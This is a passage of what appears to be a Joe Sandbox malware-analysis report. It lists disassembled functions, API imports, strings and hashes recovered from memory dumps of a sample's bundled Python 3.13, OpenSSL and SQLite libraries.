PyMem_Malloc.PYTHON313 ref: 00007FFE013019B3
PyType_IsSubtype.PYTHON313 ref: 00007FFE01301AA0
PyType_IsSubtype.PYTHON313 ref: 00007FFE01301AFD
PyUnicode_FromKindAndData.PYTHON313 ref: 00007FFE01301BD3
PyMem_Free.PYTHON313 ref: 00007FFE01301BE1

Memory Dump Source

Source File: 00000001.00000002.2152060527.00007FFE01301000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2152006973.00007FFE01300000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01306000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE0134A000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01358000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE013A7000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152318954.00007FFE013AA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152364570.00007FFE013AC000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_file.jbxd

Similarity

API ID: Mem_SubtypeType_$DataFreeFromKindMallocUnicode_
String ID:
API String ID: 3500989990-0
Opcode ID: 76cdbbed4ec85edb5246489e997a29ce274d103f94b2efc47d71435fe755d074
Instruction ID: 9f1286e9d3899adb9a29a16434dd389afc533a0d6e62327b083de1b6253f9e46
Opcode Fuzzy Hash: 76cdbbed4ec85edb5246489e997a29ce274d103f94b2efc47d71435fe755d074
Instruction Fuzzy Hash: 78020472A0C69286EB66CB95D42467977E1FB85780F564139DA4E8B7E4EF3CE844C300

Function 00007FFE01303248 Relevance: 13.6, APIs: 9, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FFE01303264
memset.VCRUNTIME140 ref: 00007FFE01303288
RtlCaptureContext.KERNEL32 ref: 00007FFE01303291
RtlLookupFunctionEntry.KERNEL32 ref: 00007FFE013032AB
RtlVirtualUnwind.KERNEL32 ref: 00007FFE013032EC
memset.VCRUNTIME140 ref: 00007FFE0130331F
IsDebuggerPresent.KERNEL32 ref: 00007FFE01303340
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FFE0130335D
UnhandledExceptionFilter.KERNEL32 ref: 00007FFE01303368

Memory Dump Source

Source File: 00000001.00000002.2152060527.00007FFE01301000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2152006973.00007FFE01300000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01306000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE0134A000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01358000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE013A7000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152318954.00007FFE013AA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152364570.00007FFE013AC000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_file.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 313767242-0
Opcode ID: c016222525537ec18d5e696995a9a3f380ff0682bd70983648a287384bccb3b7
Instruction ID: 6965be7b3cea67f13aa6e6d70c8064e361e35305d2d4e63bfca68c7fda748b96
Opcode Fuzzy Hash: c016222525537ec18d5e696995a9a3f380ff0682bd70983648a287384bccb3b7
Instruction Fuzzy Hash: 8E311072609B818AEB61CFA0E8513E973B4FB44744F454039DA4E4BBA8DF3CD558C710

Function 00007FFDFF20CF30 Relevance: 12.4, APIs: 1, Strings: 7, Instructions: 441COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FFDFF20D5A7

Strings

NULL, xrefs: 00007FFDFF20CF5D
API call with %s database connection pointer, xrefs: 00007FFDFF20CF84
%s at line %d of [%.10s], xrefs: 00007FFDFF20CFAE
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFDFF20CF95
unopened, xrefs: 00007FFDFF20CF7D
misuse, xrefs: 00007FFDFF20CFA2
invalid, xrefs: 00007FFDFF20CF72

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: memcpy
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$API call with %s database connection pointer$NULL$invalid$misuse$unopened
API String ID: 3510742995-509082904
Opcode ID: ee7224e15b94013ed54094231b914936be87d0b2d5dcea7ea14113e925995f2a
Instruction ID: 06a1827afe75883140b5cd347dbc6a1dd56e883c9ddd047707672f587bd2a995
Opcode Fuzzy Hash: ee7224e15b94013ed54094231b914936be87d0b2d5dcea7ea14113e925995f2a
Instruction Fuzzy Hash: C7129022B0AA4285EB649F259470B7967A1FF44B88F984235DE7DC76DDEF3CE4418700

Function 00007FFDFF19FA10 Relevance: 12.4, APIs: 2, Strings: 6, Instructions: 404COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FFDFF19FA50
memset.VCRUNTIME140 ref: 00007FFDFF19FADF

Strings

winGetTempname1, xrefs: 00007FFDFF19FBDF
winGetTempname2, xrefs: 00007FFDFF19FB12
etilqs_, xrefs: 00007FFDFF19FCB8
winGetTempname4, xrefs: 00007FFDFF19FFAA
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789, xrefs: 00007FFDFF19FD00
winGetTempname5, xrefs: 00007FFDFF19FCAA

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: memset
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789$etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 2221118986-463513059
Opcode ID: 6232733e76b48e2c560fcbb2eeae0b02753112b4e2aae1f9aa9c7ba037d08091
Instruction ID: 94a512e73050cb46cfcc14f9bd787afd9d97ef6de834061bce56cec4fd5df9b2
Opcode Fuzzy Hash: 6232733e76b48e2c560fcbb2eeae0b02753112b4e2aae1f9aa9c7ba037d08091
Instruction Fuzzy Hash: F8E1F052F1C3C607EB1C8F3929319786B91AB45784B54823ADEBE877D5DE3CBA16C240

Function 00007FFDFF1BE5C0 Relevance: 12.4, APIs: 1, Strings: 7, Instructions: 402COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FFDFF1BE6E2

Strings

max rootpage (%u) disagrees with header (%u), xrefs: 00007FFDFF1BE7CB
Page %u: never used, xrefs: 00007FFDFF1BE9B5
Page %u: pointer map referenced, xrefs: 00007FFDFF1BEA1F
Freelist: , xrefs: 00007FFDFF1BE753
Failed to read ptrmap key=%u, xrefs: 00007FFDFF1BE898
incremental_vacuum enabled with a max rootpage of zero, xrefs: 00007FFDFF1BE7EF
Bad ptr map entry key=%u expected=(%u,%u) got=(%u,%u), xrefs: 00007FFDFF1BE8C0

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID: memset
String ID: Bad ptr map entry key=%u expected=(%u,%u) got=(%u,%u)$Failed to read ptrmap key=%u$Freelist: $Page %u: never used$Page %u: pointer map referenced$incremental_vacuum enabled with a max rootpage of zero$max rootpage (%u) disagrees with header (%u)
API String ID: 2221118986-741541785
Opcode ID: d7f0169678dbc6eddce53ab898c7ce6ebbace303a01b21a1166798c4d2287459
Instruction ID: c4c43adebc22bfc8775e49d25a0479fa29f1874a6bd1dc365be5e84ff000b998
Opcode Fuzzy Hash: d7f0169678dbc6eddce53ab898c7ce6ebbace303a01b21a1166798c4d2287459
Instruction Fuzzy Hash: 38024C33F18642CAE7248B26D4A0A6E77A1FB84754F144239DB6E97BD9DF38E4418B40

Function 00007FFE013B222F Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 100COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3 ref: 00007FFE0142CDCA
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE0142CDE2
CRYPTO_clear_free.LIBCRYPTO-3 ref: 00007FFE0142CEE2

Part of subcall function 00007FFE0142B070: ERR_new.LIBCRYPTO-3(?,?,00007FFE0142CDB5), ref: 00007FFE0142B0FD
Part of subcall function 00007FFE0142B070: ERR_set_debug.LIBCRYPTO-3(?,?,00007FFE0142CDB5), ref: 00007FFE0142B115

Part of subcall function 00007FFE013B1CEE: CRYPTO_malloc.LIBCRYPTO-3 ref: 00007FFE013BFDA2
Part of subcall function 00007FFE013B1CEE: memset.VCRUNTIME140 ref: 00007FFE013BFDD0
Part of subcall function 00007FFE013B1CEE: memcpy.VCRUNTIME140 ref: 00007FFE013BFE05
Part of subcall function 00007FFE013B1CEE: CRYPTO_clear_free.LIBCRYPTO-3 ref: 00007FFE013BFE21
Part of subcall function 00007FFE013B1CEE: CRYPTO_clear_free.LIBCRYPTO-3 ref: 00007FFE013BFE7A
Part of subcall function 00007FFE013B1CEE: CRYPTO_clear_free.LIBCRYPTO-3 ref: 00007FFE013BFEF2

Strings

tls_process_client_key_exchange, xrefs: 00007FFE0142CDCF, 00007FFE0142CE99
..\s\ssl\statem\statem_srvr.c, xrefs: 00007FFE0142CDDB, 00007FFE0142CEA5, 00007FFE0142CECE

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: O_clear_free$R_newR_set_debug$O_mallocmemcpymemset
String ID: ..\s\ssl\statem\statem_srvr.c$tls_process_client_key_exchange
API String ID: 1067245891-2687227884
Opcode ID: 00ed6cab3850fd6b39f1ddfd7c0affc1b41c48386bbb5bf0d7c168b6b20bcba7
Instruction ID: 89714e8c126ae11b68547b2959896540c24c32ced01a4c48f727c91914f34696
Opcode Fuzzy Hash: 00ed6cab3850fd6b39f1ddfd7c0affc1b41c48386bbb5bf0d7c168b6b20bcba7
Instruction Fuzzy Hash: 76416E71F1C64341F7A49B66A8953BD6241AFA4BD0F984032DD0E4FBF6DE2CE4C18242

Function 00007FFE013B1212 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 98COMMON

Download Yara Rule

APIs

CRYPTO_zalloc.LIBCRYPTO-3 ref: 00007FFE013B520A
ERR_new.LIBCRYPTO-3 ref: 00007FFE013B5218
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013B5230
ERR_set_error.LIBCRYPTO-3 ref: 00007FFE013B5242

Strings

wpacket_intern_init_len, xrefs: 00007FFE013B521D
..\s\crypto\packet.c, xrefs: 00007FFE013B51F1, 00007FFE013B5229, 00007FFE013B5282

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: O_zallocR_newR_set_debugR_set_error
String ID: ..\s\crypto\packet.c$wpacket_intern_init_len
API String ID: 3755831613-2385383871
Opcode ID: ffdd1c6ec0e4539bf8475cccc44e7ba020668215223953466c77ad52d0e28efa
Instruction ID: 21b66709c35cb2a81d26bb70f1081e9d751c1451ff56e9736156a0a353ea9b2d
Opcode Fuzzy Hash: ffdd1c6ec0e4539bf8475cccc44e7ba020668215223953466c77ad52d0e28efa
Instruction Fuzzy Hash: 3D41D432B08B4182EB549B55E4813AD62A4EB48BE4F910235EB5D4BBE6EF2CD591C780

Function 00007FFE01301300 Relevance: 10.9, APIs: 7, Instructions: 375COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFE01301950: PyMem_Malloc.PYTHON313 ref: 00007FFE013019B3
Part of subcall function 00007FFE01301950: PyType_IsSubtype.PYTHON313 ref: 00007FFE01301AA0
Part of subcall function 00007FFE01301950: PyType_IsSubtype.PYTHON313 ref: 00007FFE01301AFD

PyMem_Malloc.PYTHON313 ref: 00007FFE0130138B
PyMem_Free.PYTHON313 ref: 00007FFE013015AC
PyErr_NoMemory.PYTHON313 ref: 00007FFE01303BB1
_Py_Dealloc.PYTHON313 ref: 00007FFE01303BC8

Memory Dump Source

Source File: 00000001.00000002.2152060527.00007FFE01301000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2152006973.00007FFE01300000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01306000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE0134A000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE01358000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152107652.00007FFE013A7000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152318954.00007FFE013AA000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000001.00000002.2152364570.00007FFE013AC000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_file.jbxd

Similarity

API ID: Mem_$MallocSubtypeType_$DeallocErr_FreeMemory
String ID:
API String ID: 4139299733-0
Opcode ID: f3b34b9a491a7328e3479242aa4f01da2548d41b57f80c50a6892646becf0bf0
Instruction ID: 0f3481f758de00a0204b641e3a391c288c387d49af5e7aa497640120992ef763
Opcode Fuzzy Hash: f3b34b9a491a7328e3479242aa4f01da2548d41b57f80c50a6892646becf0bf0
Instruction Fuzzy Hash: 77F10F72E1C99286EB66CF95D464ABD27E4FB44B44F560139DA4E8A6B0DE7CE881C300

Function 00007FFE01417230 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMON

Download Yara Rule

APIs

CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE01417322
ERR_new.LIBCRYPTO-3 ref: 00007FFE01417332
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE0141734A
CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE01417377

Strings

tls_process_encrypted_extensions, xrefs: 00007FFE01417337
..\s\ssl\statem\statem_clnt.c, xrefs: 00007FFE01417315, 00007FFE01417343, 00007FFE0141736A

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: O_free$R_newR_set_debug
String ID: ..\s\ssl\statem\statem_clnt.c$tls_process_encrypted_extensions
API String ID: 3271392029-215004271
Opcode ID: aca838acd62fe3912e5ffbcdeb7076ebe59eb12dfd7e609896ebfc737c017765
Instruction ID: 7daba6b9554482b7c292777a1c306767e28abf2763ec07f03df2400ea3ac36ca
Opcode Fuzzy Hash: aca838acd62fe3912e5ffbcdeb7076ebe59eb12dfd7e609896ebfc737c017765
Instruction Fuzzy Hash: 13319EA2E1C68281E7509B61E4517AEA790FB847C4F845135EE8D4BBB9DF7CD280CB00

Function 00007FFE013DD170 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

CRYPTO_THREAD_write_lock.LIBCRYPTO-3 ref: 00007FFE013DD190
OPENSSL_sk_new_null.LIBCRYPTO-3 ref: 00007FFE013DD1AC
OPENSSL_LH_delete.LIBCRYPTO-3 ref: 00007FFE013DD1F1
OPENSSL_sk_push.LIBCRYPTO-3 ref: 00007FFE013DD224
OPENSSL_LH_set_down_load.LIBCRYPTO-3 ref: 00007FFE013DD245
CRYPTO_THREAD_unlock.LIBCRYPTO-3 ref: 00007FFE013DD251
OPENSSL_sk_pop_free.LIBCRYPTO-3 ref: 00007FFE013DD260

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: D_unlockD_write_lockH_deleteH_set_down_loadL_sk_new_nullL_sk_pop_freeL_sk_push
String ID:
API String ID: 3753489959-0
Opcode ID: defe775ad0bf08b3b459d6442beee3374ee2a06c93750646d3fbaee53855251a
Instruction ID: bd0b58704fc0f9d42e642cf6be8959011478b7a69a527cab0c66c716bcdb2704
Opcode Fuzzy Hash: defe775ad0bf08b3b459d6442beee3374ee2a06c93750646d3fbaee53855251a
Instruction Fuzzy Hash: 40214121F0968286EB54AFA2A5442BD6350FF94B94F494031EF4E4FBBADF2CE4518300

Function 00007FFE013C4990 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

i2d_X509_NAME.LIBCRYPTO-3 ref: 00007FFE013C49B7
i2d_X509_NAME.LIBCRYPTO-3 ref: 00007FFE013C49C7
memcmp.VCRUNTIME140 ref: 00007FFE013C49EC
CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE013C4A0A
CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE013C4A21

Strings

..\s\ssl\ssl_cert.c, xrefs: 00007FFE013C4A00, 00007FFE013C4A14

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: O_freeX509_i2d_$memcmp
String ID: ..\s\ssl\ssl_cert.c
API String ID: 1487052844-349359282
Opcode ID: 777fb18747a5d81ff922ad4c58779e9ac14b1738b0b77e584ed02f53f2ca7fed
Instruction ID: d0f66b95fa05778c1ea29d7b815c90865d46e5e4c6e5e1193a1071ef2bf9121f
Opcode Fuzzy Hash: 777fb18747a5d81ff922ad4c58779e9ac14b1738b0b77e584ed02f53f2ca7fed
Instruction Fuzzy Hash: D5014422F0C74245EB10AA59F8512AD9772DB8A7D0FA55131EA4E4FBBADE3DD5804700

Function 00007FFDFF197336 Relevance: 9.3, APIs: 2, Strings: 4, Instructions: 332COMMON

Download Yara Rule

Strings

VUUU, xrefs: 00007FFDFF19746E
0123456789ABCDEF0123456789abcdef, xrefs: 00007FFDFF197529
VUUU, xrefs: 00007FFDFF19759B
-x0, xrefs: 00007FFDFF197606

Memory Dump Source

Source File: 00000001.00000002.2151713884.00007FFDFF191000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFDFF190000, based on PE: true

Associated: 00000001.00000002.2151670753.00007FFDFF190000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151849876.00007FFDFF2C4000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151909940.00007FFDFF2F3000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000001.00000002.2151957042.00007FFDFF2F8000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdff190000_file.jbxd

Similarity

API ID:
String ID: -x0$0123456789ABCDEF0123456789abcdef$VUUU$VUUU
API String ID: 0-2031831958
Opcode ID: 830dfd914e5d3ef8387d747a8b5968e0d0630e95d7c3bfc2218f0b45b7a99565
Instruction ID: 0c6d58509c5f7cd7ed5a1ff33fcbbe6601a7245835991994e57856e5288b00e8
Opcode Fuzzy Hash: 830dfd914e5d3ef8387d747a8b5968e0d0630e95d7c3bfc2218f0b45b7a99565
Instruction Fuzzy Hash: D9D1E163F1968286EB748E1490A4E796B95FF54788F4A4239DE7E437CADF2CE404C780

Function 00007FFE013B114F Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 113COMMON

Download Yara Rule

APIs

CRYPTO_free.LIBCRYPTO-3 ref: 00007FFE013F4B11
ERR_new.LIBCRYPTO-3 ref: 00007FFE013F4BFF
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE013F4C17

Strings

dtls1_process_buffered_records, xrefs: 00007FFE013F4C04
..\s\ssl\record\rec_layer_d1.c, xrefs: 00007FFE013F4B04, 00007FFE013F4C10

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: O_freeR_newR_set_debug
String ID: ..\s\ssl\record\rec_layer_d1.c$dtls1_process_buffered_records
API String ID: 2314896662-3750322838
Opcode ID: 9b7d533bb197c52e98715f895ff29401a5e6b6861563f37595cca6a8ec151ea3
Instruction ID: 8c1d41ea6696e2c928bffd2333c4e73c1eb84741dc248df726f6073d4b1a06df
Opcode Fuzzy Hash: 9b7d533bb197c52e98715f895ff29401a5e6b6861563f37595cca6a8ec151ea3
Instruction Fuzzy Hash: 6F417F21B0868680EB50AF16E5902BE6361EF88BC4F554136DF8D9F7B6EF2CE851C340

Function 00007FFE01411170 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 51COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3 ref: 00007FFE014111A5
ERR_set_debug.LIBCRYPTO-3 ref: 00007FFE014111BD
CRYPTO_clear_free.LIBCRYPTO-3 ref: 00007FFE0141120F

Strings

tls_client_key_exchange_post_work, xrefs: 00007FFE014111AA
..\s\ssl\statem\statem_clnt.c, xrefs: 00007FFE014111B6, 00007FFE01411202

Memory Dump Source

Source File: 00000001.00000002.2152554925.00007FFE013B1000.00000020.00000001.01000000.00000013.sdmp, Offset: 00007FFE013B0000, based on PE: true

Associated: 00000001.00000002.2152498752.00007FFE013B0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152554925.00007FFE01433000.00000020.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152671744.00007FFE01435000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152725075.00007FFE0145D000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01462000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01468000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000001.00000002.2152763726.00007FFE01470000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe013b0000_file.jbxd

Similarity

API ID: O_clear_freeR_newR_set_debug
String ID: ..\s\ssl\statem\statem_clnt.c$tls_client_key_exchange_post_work
API String ID: 868266018-2346923134
Opcode ID: ac0a7e77c332a6d6e5632ce8f7c28429bc8d2dcae95018778a57c5fcbd23c272
Instruction ID: ec5809b07869cd6d6a22b620728847d2eee2cddf29070b5a9468661d8f95c902
Opcode Fuzzy Hash: ac0a7e77c332a6d6e5632ce8f7c28429bc8d2dcae95018778a57c5fcbd23c272
